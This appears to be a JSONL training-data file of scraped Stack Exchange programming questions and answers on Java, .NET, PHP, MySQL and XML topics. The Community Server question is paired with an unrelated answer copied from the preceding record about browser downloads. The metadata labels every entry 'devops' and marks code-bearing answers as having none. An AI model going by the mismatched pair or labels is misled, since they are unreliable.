{"id": "hf_537b7942ea45", "question": "<p>How can I use JUnit idiomatically to test that some code throws an exception?</p>\n<p>While I can certainly do something like this:</p>\n<pre><code>@Test\npublic void testFooThrowsIndexOutOfBoundsException() {\n  boolean thrown = false;\n\n  try {\n    foo.doStuff();\n  } catch (IndexOutOfBoundsException e) {\n    thrown = true;\n  }\n\n  assertTrue(thrown);\n}\n</code></pre>\n<p>I recall that there is an annotation or an Assert.xyz or <em>something</em> that is far less kludgy and far more in-the-spirit of JUnit for these sorts of situations.</p>\n", "question_body": "", "answer": "How about this: catch a very general exception, make sure it makes it out of the catch block, then assert that the class of the exception is what you expect it to be.  This assert will fail if a) the exception is of the wrong type (eg. if you got a Null Pointer instead) and b) the exception wasn't ever thrown.\n```\n```\npublic void testFooThrowsIndexOutOfBoundsException() {\n  Throwable e = null;\n\n  try {\n    foo.doStuff();\n  } catch (Throwable ex) {\n    e = ex;\n  }\n\n  assertTrue(e instanceof IndexOutOfBoundsException);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.185386"}
{"id": "hf_5e54e0021da5", "question": "<p>I'm trying to insert some import lines into a python source file, but i would ideally like to place them right after the initial docstring. Let's say I load the file into the lines variable like this:</p>\n\n<pre><code>lines = open('filename.py').readlines()\n</code></pre>\n\n<p>How to find the line number, where the docstring ends?</p>\n", "question_body": "", "answer": "If you're using the standard docstring format, you can do something like this:\n```\n```\ncount = 0\nfor line in lines:\n    if line.startswith ('\"\"\"'):\n        count += 1\n        if count < 3:\n            # Before or during end of the docstring\n            continue\n    # Line is after docstring\n```\n```\nMight need some adaptation for files with no docstrings, but if your files are formatted consistently it should be easy enough.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.209829"}
{"id": "hf_f5cb648d7532", "question": "<p>CLR profiler does not seem to work with the Silverlight CLR. Does another memory profiler exist?</p>\n", "question_body": "", "answer": "Doesn't seem to be one available yet. However, as\nrecommended in this forum thread\n, you can convert your Silverlight app to a WPF application and profile that:\nThere is no tool as of now but as a workaround you can easily create a desktop (WPF) version of your Silverlight client from the same code base and few tweaks (refer Scot's blog for an example on this -\nhttp://weblogs.asp.net/scottgu/pages/silverlight-tutorial-part-8-creating-a-digg-desktop-application-using-wpf.aspx\n) .  Once you are done with this you can run any performance profiler that works with WPF.\nNot an optimal solution, but it sounds like the best option for now...\nUpdate:\nJust saw a\nblog post\nabout XPerf which is a cpu sampler for Silverlight. Not exactly a memory profiler but a good tool for testing the performance of Silverlight apps...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.234250"}
{"id": "hf_33a98b684f39", "question": "<p>Alright, I have been doing the following (variable names have been changed):</p>\n\n<pre><code>\nFileInputStream fis = null;\ntry\n{\n    fis = new FileInputStream(file);\n\n    ... process ...\n\n}\ncatch (IOException e)\n{\n    ... handle error ...\n}\nfinally\n{\n    if (fis != null)\n        fis.close();\n}\n</code>\n</pre>\n\n<p>Recently, I started using FindBugs, which suggests that I am not properly closing streams.  I decide to see if there's anything that can be done with a finally{} block, and then I see, oh yeah, close() can throw IOException.  What are people supposed to do here?  The Java libraries throw too many checked exceptions.</p>\n", "question_body": "", "answer": "Something like the following should do it, up to you whether you throw or swallow the IOException on attempting to close the stream.\n```\n```\nFileInputStream fis = null;\ntry\n{\n    fis = new FileInputStream(file);\n\n    ... process ...\n\n}\ncatch (IOException e)\n{\n    ... blah blah blah ...\n}\nfinally\n{\n    try\n    {\n        if (fis != null)\n            fis.close();\n    }\n    catch (IOException e)\n    {\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.258925"}
{"id": "hf_052a6451d9b4", "question": "<p>I am debugging some code in the Selenium-rc proxy server. It seems the culprit is the <code>HttpURLConnection</code> object, whose interface for getting at the HTTP headers does not cope with duplicate header names, such as:</p>\n\n<pre><code>Set-Cookie: foo=foo; Path=/\nSet-Cookie: bar=bar; Path=/\n</code></pre>\n\n<p>The way of getting at the headers through the <code>HttpURLConnection</code> (using <code>getHeaderField(int n)</code> and <code>getHeaderFieldKey(int n)</code>) seems to be causing my second cookie to be lost. My question is</p>\n\n<ol>\n<li>Is it true that <code>HttpURLConnection</code> itself can't cope with it, and</li>\n<li>If so, is there a workaround to it?</li>\n</ol>\n", "question_body": "", "answer": "Without actually having tried it (can't remember to have handled that topic myself), there's also getHeaderFields, inherited from\nUrlConnection\n. Does this do what you need?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.295447"}
{"id": "hf_ddfb312cbcf3", "question": "<p>I need to import largish (24MB) text files into a MySQL table. Each line looks like this:</p>\n\n<pre><code>1 1 0.008  0  0  0  0  0                                    \n</code></pre>\n\n<p>There are one or more spaces after each field, and the last field is tailed by about 36 spaces before the newline.</p>\n\n<p>How do I import such a file into MySQL? From the documentation it seems that LOAD DATA expects all fields to be terminated by exactly the same string. I have tried</p>\n\n<pre><code>LOAD DATA INFILE 'filename' INTO TABLE mytable FIELDS TERMINATED BY ' ';\n</code></pre>\n\n<p>but MySQL will interpret a sequence of more than one space as delimiting an empty field.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "If you're on unix/linux then you can put it through sed.\nopen a terminal and type:\n```\n```\nsed 's/ \\+/ /g' thefile > thefile.new\n```\n```\nthis replaces all sequences of multiple spaces with one space.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.335613"}
{"id": "hf_f17e4372c643", "question": "<p>How do you setup an asp.net sql membership role/membership provider on a production machine? I'm trying to setup BlogEngine.NET and all the documentation says to use the ASP.NET Website Administration tool from Visual Studio but that isn't available on a production machine. Am I the first BlogEngine user to use it on a non-development box?</p>\n\n<p>The SQL server is completely blocked off from everything but the production box, I do have SQL Management Studio on there though.</p>\n\n<p>EDIT: I mean, how do you add new users/roles, not how do you create the tables. I've already ran aspnet_regsql to create the schema.</p>\n\n<p>EDIT2: MyWSAT doesn't work because it requires an initial user in the database as well. I need an application that will allow me to create new users in the membership database without any authentication, just a connection string.</p>\n", "question_body": "", "answer": "You'll have to have .NET 2.0 installed on the machine, all the VS tool is is a GUI wrapper for a command line tool which is part of the framework.\nCheck C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727 for the app aspnet_regsql.exe\n/? for command line switches, /W for a wizard mode", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.408004"}
{"id": "hf_710aad645668", "question": "<p>I started using <a href=\"http://www.codeplex.com/SHFB\" rel=\"noreferrer\">Sandcastle</a> some time ago to generate a Documentation Website for one of our projects. It's working quite well but we've always only written documentation for classes, methods, properties (...) in our project and had completely separate documentation for the overall project and project parts/modules/namespaces. It would be nice if I could merge that documentation together and add respective documentation to the generated helper files but I can't figure out how to do it.</p>\n\n<p>Just adding comments to the namespace declaration doesn't seem to work (C#):</p>\n\n<pre><code>/// &lt;summary&gt;\n/// My short namespace description\n/// &lt;/summary&gt;\nnamespace MyNamespace { ... }\n</code></pre>\n\n<p>Does anyone know how to do this? I know it's possible somehow and it would be really nice to have... :)</p>\n", "question_body": "", "answer": "If you use\nSandcastle Help File Builder\nthere is a dialog to enter the Namespace summaries. (Apparently also support for defining a specific class, but I wouldn't prefer it..)\nFrom the feature list:\nDefinition of project summary and\n  namespace summary comments that will\n  appear in the help file. You can also\n  easily indicate which namespaces to\n  include or exclude from the help file.\n  Support is also included for\n  specifying namespace comments via a\n  NamespaceDoc class within each\n  namespace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.443900"}
{"id": "hf_ce277a726820", "question": "<p>I've seen a few examples on how to do build deployment, however I have something unique that I'd like to do:</p>\n\n<ol>\n<li>Deploy the build to a folder that has the build number (eg. Project\\Builds\\8423)</li>\n<li>Alter the version number in the .NET AssmblyInfo.cs to match the build number</li>\n</ol>\n\n<p>Has anyone done this before with .NET projects using NAnt + CruiseControl.net?</p>\n", "question_body": "", "answer": "i haven't done it with nant, but we have written a custom application in C# that reads the  assembly and increments the release number.\nwe call it from an exec block in the ccnet config.\ncreating a folder and copying files would be trivial to add to that application\nour thinking was we use C# all day, so it would be quicker to fix/alter the build program written in C#, then if we had to learn the intracies of nant scripts on top of that\nobviously if you use nant all the time, there would be no reason not to build a custom nant plugin to do the job", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.468579"}
{"id": "hf_107c0c60e861", "question": "<p>I'm just wondering if there can be a case where the hostname can be successfully resolved but the returned hostEntry.AddressList is empty.</p>\n\n<p>Currently I'm doing something like this:</p>\n\n<pre><code>IPHostEntry hostEntry = Dns.GetHostEntry(\"some.hostname.tld\");\nif (hostEntry.AddressList.Count() &lt; 1)\n{\n  // can that ever happen?\n  throw new ArgumentException(\"hostName has no assigned IP-Address\");\n}\nTcpClient client = new TcpClient(hostEntry.AddressList[0], 1234);\n</code></pre>\n\n<p>My assumption is that Dns.GetHostEntry either throws an exception if the hostname is not found or otherwise the AddressList is nonempty, but I'm not sure about that.</p>\n", "question_body": "", "answer": "You have three possible situations here:\nThe hostname exists (DNS has an A Record) and resolves to an IP Address\nCondition is never hit\nThe hostname exists (DNS knows about the domain) however no A records exists.\nThis is an extremely unlikely scenario, and I think this can never happen in the first place.\nThe hostname doesn't exist\nException is thrown, you never get there.\nSo no, I don't think that can ever happen.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.492241"}
{"id": "hf_c5342cd53638", "question": "<p>We are using fmt:setBundle to load a resource bundle from a database (we extended the ResourceBundle class to do that).\nWhen we modify a value in database, we have to reload the web server to display the new value on the web app.</p>\n\n<p>Is there any simple way to use the new value without restarting the web server ?</p>\n\n<p>(We do <strong>not</strong> want to always look up the value from database but we would like to invalidate the cache, for example by calling a special 'admin' URL)</p>\n\n<p>EDIT : We are using JDK 1.4, so I would prefer a solution on that version. :)</p>\n", "question_body": "", "answer": "If you're using JDK 1.6 you can use the callback methods\n```\ngetTimeToLive()\n```\nand\n```\nneedsReload()\n```\nin\nResourceBundle.Control\nto control if the bundle cache needs to be loaded with new values from the database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.515235"}
{"id": "hf_22f023c66afb", "question": "<p>I have a requirement to be able to provide a flex component in English and several asian languages.  I have looked at the flex documentation and it seems that I have to build several swf's, which feels wrong.  </p>\n\n<p>Does anyone know of a straightforward and practical way of bundling string resources in different languages and handling the fonts?</p>\n", "question_body": "", "answer": "We use Flex for the client part of our application and support I18N via\n```\nResourceBundle\n```\ns.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.538614"}
{"id": "hf_68209b455459", "question": "<p>I would like to know what of the many XSLT engines out there works well with Perl.</p>\n\n<p>I will use Apache (2.0) and Perl, and I want to obtain PDFs and XHTMLs.</p>\n\n<p>I'm new to this kind of projects so any comment or suggestion will be welcome.</p>\n\n<p>Thanks.</p>\n\n<hr>\n\n<p>Doing a simple search on Google I found a lot and I suppose that there are to many more.</p>\n\n<ul>\n<li><a href=\"http://www.mod-xslt2.com/\" rel=\"noreferrer\">http://www.mod-xslt2.com/</a></li>\n<li><a href=\"http://xml.apache.org/xalan-j/\" rel=\"noreferrer\">http://xml.apache.org/xalan-j/</a></li>\n<li><a href=\"http://saxon.sourceforge.net/\" rel=\"noreferrer\">http://saxon.sourceforge.net/</a></li>\n<li><a href=\"http://www.dopscripts.com/xslt_parser.html\" rel=\"noreferrer\">http://www.dopscripts.com/xslt_parser.html</a></li>\n</ul>\n\n<p>Any comment on your experiences will be welcome.</p>\n", "question_body": "", "answer": "Can't really say which is the best solution because I didn't have a chance to try them all.\nBut I can recommend you to try Perl module\nLibXSLT\n.\nIt's an interface to the gnome libxslt library. I used it on one of my recent project was satisfied with it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.584643"}
{"id": "hf_a1b8922fa033", "question": "<p>I am very new to creating webservers - and I have had several goes at trying to understand them and write a quick webserver, but it's never quite 'clicked'.  At the moment I am under the impression that REST would be most suitable for my purposes (I will explain later).</p>\n\n<p>Can anyone either show me a basic code example in Java (using Tomcat Apache) or a tutorial resource to show how a webserver:</p>\n\n<ul>\n<li>Can be used for security - i.e. pass in some kind of value to identify the client - from their the webserver will either deny or grant access to the client dependant on some criteria - maybe a lookup list.</li>\n<li>Once the client is successfully accepted they will be allowed to pass in some more values to the webserver that will be used to write a row in a database table.</li>\n</ul>\n\n<p>Many thanks.</p>\n\n<p>PS - I would have thought there might have been soemthing that comes with Eclipse Ganymede? If someone can confirm?</p>\n", "question_body": "", "answer": "The best way to write restful resources in Java is via the JAX-RS standard. So I'd recommend you download\nJersey which is the JAX-RS reference implementation\nand check out its examples; its got lots of them. Take an example for a spin then try hacking it to do what you like.\nBTW JAX-RS can be run inside any Servlet engine - you just build a WAR and deploy it (there are examples in the Jersery samples) - though Jersey also comes with a small lightweight web server you can use too which is a little easier to use - again there are examples in the distro of this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.608718"}
{"id": "hf_930f9f2bbd45", "question": "<p>How do I initialize an automatic download of a file in Internet Explorer?</p>\n\n<p>For example, in the download page, I want the download link to appear and a message: \"If you download doesn't start automatically .... etc\". The download should begin shortly after the page loads.</p>\n\n<p>In Firefox this is easy, you just need to include a meta tag in the header, <code>&lt;meta http-equiv=\"Refresh\" content=\"n;url\"&gt;</code> where n is the number of seconds and <code>url</code> is the download URL. This does not work in Internet Explorer. How do I make this work in Internet Explorer browsers?</p>\n", "question_body": "", "answer": "I recently solved it by placing the following script on the page.\n```\n```\nsetTimeout(function () { window.location = 'my download url'; }, 5000)\n```\n```\nI agree that a meta-refresh would be nicer but if it doesn't work what do you do...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.633557"}
{"id": "hf_7993bb7cfd25", "question": "<p>I have an error occuring frequently from our community server installation whenever the googlesitemap.ashx is traversed on a specific sectionID. I suspect that a username has been amended but the posts havn't recached to reflect this.</p>\n\n<p>Is there a way a can check the data integruity by performing a select statement on the database, alternatively is there a way to force the database to recache? </p>\n", "question_body": "", "answer": "I recently solved it by placing the following script on the page.\n```\n```\nsetTimeout(function () { window.location = 'my download url'; }, 5000)\n```\n```\nI agree that a meta-refresh would be nicer but if it doesn't work what do you do...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.664490"}
{"id": "hf_23e448a52419", "question": "<p>In my environment here I use Java to serialize the result set to XML.\nIt happens basically like this:</p>\n\n<pre><code>//foreach column of each row\nxmlHandler.startElement(uri, lname, \"column\", attributes);\nString chars = rs.getString(i);\nxmlHandler.characters(chars.toCharArray(), 0, chars.length());\nxmlHandler.endElement(uri, lname, \"column\");\n</code></pre>\n\n<p>The XML looks like this in Firefox:</p>\n\n<pre><code>&lt;row num=\"69004\"&gt;\n    &lt;column num=\"1\"&gt;10069&lt;/column&gt;\n    &lt;column num=\"2\"&gt;sd&amp;#26;&lt;/column&gt;\n    &lt;column num=\"3\"&gt;FCVolume                      &lt;/column&gt;\n&lt;/row&gt;\n</code></pre>\n\n<p>But when I parse the XML I get the a</p>\n\n<blockquote>\n  <p>org.xml.sax.SAXParseException: Character reference \"<strong>&amp;#26</strong>\" is an\n  invalid XML character.</p>\n</blockquote>\n\n<p>My question now is: Which charactes do I have to replace or how do I have to encode my characters, that they will be valid XML?</p>\n", "question_body": "", "answer": "Extensible Markup Language (XML) 1.0\nsays:\nThe ampersand character (&) and the\n  left angle bracket (<) must not appear\n  in their literal form, except when\n  used as markup delimiters, or within a\n  comment, a processing instruction, or\n  a CDATA section. If they are needed\n  elsewhere, they must be escaped using\n  either numeric character references or\n  the strings \"&\" and \"<\"\n  respectively. The right angle bracket\n  (>) may be represented using the\n  string \">\", and must, for\n  compatibility, be escaped using either\n  \">\" or a character reference when\n  it appears in the string \"]]>\" in\n  content, when that string is not\n  marking the end of a CDATA section.\nYou can skip the encoding if you use CDATA:\n```\n```\n<column num=\"1\"><![CDATA[10069]]></column>\n<column num=\"2\"><![CDATA[sd&]]></column>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.726423"}
{"id": "hf_516c0eef85ba", "question": "<p>In Eclipse 3.3.2, I would like to replace a character (say ',') by a new line in a file.\nWhat should I write in the \"Replace with\" box in order to do so ?</p>\n\n<p>EDIT : Many answers seems to be for Eclipse 3.4. Is there a solution for Eclipse 3.3.X ?</p>\n", "question_body": "", "answer": "Check box 'Regular Expressions' and use '\\R' in the 'Replace with' box\nIt's a new feature introduced with Eclipse 3.4, See\nWhat's New in 3.4", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.763113"}
{"id": "hf_837fe7081869", "question": "<p>If I hit a page which calls <code>session_start()</code>, how long would I have to wait before I get a new session ID when I refresh the page?</p>\n", "question_body": "", "answer": "Check out php.ini the value set for session.gc_maxlifetime is the ID lifetime in seconds.\nI believe the default is 1440 seconds (24 mins)\nhttp://www.php.net/manual/en/session.configuration.php\nEdit:\nAs some comments point out, the above is not entirely accurate.  A wonderful explanation of why, and how to implement session lifetimes is available here:\nHow do I expire a PHP session after 30 minutes?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.788502"}
{"id": "hf_4bb523295a18", "question": "<p>I am trying to configure Reporting Services 2005SP2 on a machine with SQL 2008 on another hosting the ReportServer DB.</p>\n\n<p>When I create the ReportServerDB the DB is created as version C.0.9.45:</p>\n\n<p>When, afterwards, I try to initialise Reporting Services, I get an error about an incorrect version number. Reporting Services created a ReportServer DB version C.0.9.45 but now expects a version C.0.8.54.</p>\n\n<p>Changing compatibility settings of the DB doesn’t have an effect. And changing the version number sproc in the DB to return what Reporting Services wants to hear only delays the crash until initialisation has started.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "You must have created the reportServerDB using the SQL 2008 configuration tool. If you want to use the 2005 version of the server you need to create the configuration database using the configuration tool that came with SQL 2005. The 2005 SP2 tool will create a database with version C.0.8.54", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.825861"}
{"id": "hf_b31e83e3f490", "question": "<p>I am using Eclipse for quite some time and I still haven't found how to configure the Problems View to display only the Errors and Warnings of interest. Is there an easy way to filter out warnings from a specific resource or from a specific path? For example, when I generate javadoc I get tons of irrelevant html warnings. Also, is there a way to change the maximum number of appearing warnings/errors?</p>\n\n<p>I am aware of the filters concept, but I am looking for some real life examples. What kind of filters or practices do other people use?</p>\n\n<p><strong>Edit:</strong> I found the advice to filter on \"On selected element and its children\" to be the best one. I have one other issue however. If I have \"a lot\" of warnings or errors, only the first 100 appear. In the rare case I want to see all of them, how do I do it?</p>\n", "question_body": "", "answer": "In the top right hand corner of the problems pane is a filter button (it looks like three arrows pointing to the right), clicking that will let you configure the view.  You can filter by element, such as the class you're editing or working set, the type of problem (e.g. java problems, buildfile problems etc..) and by severity.  It's actually very configurable.\nSee\nhttp://help.eclipse.org/help32/index.jsp?topic=/org.eclipse.platform.doc.user/concepts/cprbview.htm\nfor details and screenshots.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.854334"}
{"id": "hf_aae571ef5ef9", "question": "<p>What i mean exactly is that build.xml that actually included those plugins like findbugs etc. Or nicely done build.xml </p>\n", "question_body": "", "answer": "You could use maven 2, because it has built-in plugin support.And all the stuff like: PMD, Findbugs, Checkstyle etc , could be integrated automatically . If you have some existing code it could be called from maven you could use maven-antrun-plugin.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.916452"}
{"id": "hf_2869351a3792", "question": "<p>This is a followup question of <a href=\"https://stackoverflow.com/questions/156697/how-to-encode-characters-from-oracle-to-xml\">How to encode characters from Oracle to Xml?</a></p>\n\n<p>In my environment here I use Java to serialize the result set to xml. I have no access to the output stream itself, only to a org.xml.sax.ContentHandler.</p>\n\n<p>When I try to output characters in a CDATA Section:</p>\n\n<p>It happens basically like this:</p>\n\n<pre><code>xmlHandler.startElement(uri, lname, \"column\", attributes);\nString chars = \"&lt;![CDATA[\"+rs.getString(i)+\"]]&gt;\";\nxmlHandler.characters(chars.toCharArray(), 0, chars.length());\nxmlHandler.endElement(uri, lname, \"column\");\n</code></pre>\n\n<p>I get this:</p>\n\n<pre><code>&lt;column&gt;&amp;lt;![CDATA[33665]]&amp;gt;&lt;/column&gt;\n</code></pre>\n\n<p>But I want this:</p>\n\n<pre><code>&lt;column&gt;&lt;![CDATA[33665]]&gt;&lt;/column&gt;\n</code></pre>\n\n<p>So how can I output a CDATA section with a Sax ContentHandler?</p>\n", "question_body": "", "answer": "It is getting escaped because the handler.characters function is designed to escape and the\n```\n<![CDATA[\n```\npart isn't considered part of the value.\nYou need to use the newly exposed methods in\n```\nDefaultHandler2\n```\nor use the\n```\nTransformerHandler\n```\napproach where you can set the output key\n```\nCDATA_SECTION_ELEMENTS\n```\n, which takes a whitespace delimited list of tag names that should output sub text sections enclosed in CDATA.\n```\n```\nStreamResult streamResult = new StreamResult(out);\nSAXTransformerFactory tf = (SAXTransformerFactory) SAXTransformerFactory.newInstance();\nTransformerHandler hd = tf.newTransformerHandler();\nTransformer serializer = hd.getTransformer();\nserializer.setOutputProperty(OutputKeys.CDATA_SECTION_ELEMENTS, \"column\");\nhd.setResult(streamResult);\nhd.startDocument();\nhd.startElement(\"\",\"\",\"column\",atts);\nhd.characters(asdf,0, asdf.length());\nhd.endElement(\"\",\"\",\"column\");\nhd.endDocument();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.952283"}
{"id": "hf_323631d1bc12", "question": "<p>I've written a simple SessionItem management class to handle all those pesky null checks and insert a default value if none exists.  Here is my GetItem method:</p>\n\n<pre><code>public static T GetItem&lt;T&gt;(string key, Func&lt;T&gt; defaultValue)\n{\n    if (HttpContext.Current.Session[key] == null)\n    {\n        HttpContext.Current.Session[key] = defaultValue.Invoke();\n    }\n    return (T)HttpContext.Current.Session[key];\n}\n</code></pre>\n\n<p>Now, how do I actually use this, passing in the Func&lt;T&gt; as an inline method parameter?</p>\n", "question_body": "", "answer": "Why don't you pass the default value directly? What use is the functor?\nBy the way,\n```\ndefaultValue.Invoke()\n```\nis quite verbose. It's also possible to just write\n```\ndefaultValue()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.976761"}
{"id": "hf_ccbe09bd767a", "question": "<p>In C++ the storage class specifier static allocates memory from the data area. What does \"data area\" mean?</p>\n", "question_body": "", "answer": "I'm not familiar with the term “data area” but memory is often divided into “code section” and “data section”. Code resides in the former, data in the latter. I presume this is what's meant here.\nClassically, there's no distinction between the two. However, many modern operating systems can prohibit the execution of code int he data segment (provided the CPU supports this distinction). This sometimes goes by the catch phrase of “NX flag”, as in “no execution” and can effectively prevent some cases of malicious code injection.\n/EDIT: Notice that the C++ standard doesn't mention a “data area”.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.026092"}
{"id": "hf_71e6ff85c70c", "question": "<p>In a <a href=\"https://stackoverflow.com/questions/9033#9099\">question answer</a> I find the following coding tip:-</p>\n\n<p>2) simple lambdas with one parameter:</p>\n\n<pre><code>x =&gt; x.ToString() //simplify so many calls\n</code></pre>\n\n<p>As someone who has not yet used 3.0 I don't really understand this tip but it looks interesting so I would appreciate an expantion on how this simplifies calls with a few examples.</p>\n\n<p>I've researched lambdas so I <strong>think</strong> I know what they do, however I <strong>may</strong> not fully understand so a <strong>little</strong> unpacking might also be in order.</p>\n", "question_body": "", "answer": "This basically expands to:\n```\n```\nprivate string Lambda(object x) {\n  return x.ToString();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.075567"}
{"id": "hf_11f9c8871d87", "question": "<p>I need to consume a wcf service dynamically when all i know is its URL. I do not have the option of creating a service reference or web reference as my client side code picks up the URL from a config file. What classes and methods can i use from the System.ServiceModel namespace for doing so.</p>\n", "question_body": "", "answer": "If you know the contract then you can do something like:\n```\n```\nusing (WebChannelFactory<IService> wcf = new WebChannelFactory<IService>(new Uri(\"http://localhost:8000/Web\")))\n```\n```\nMore\nhere", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.112309"}
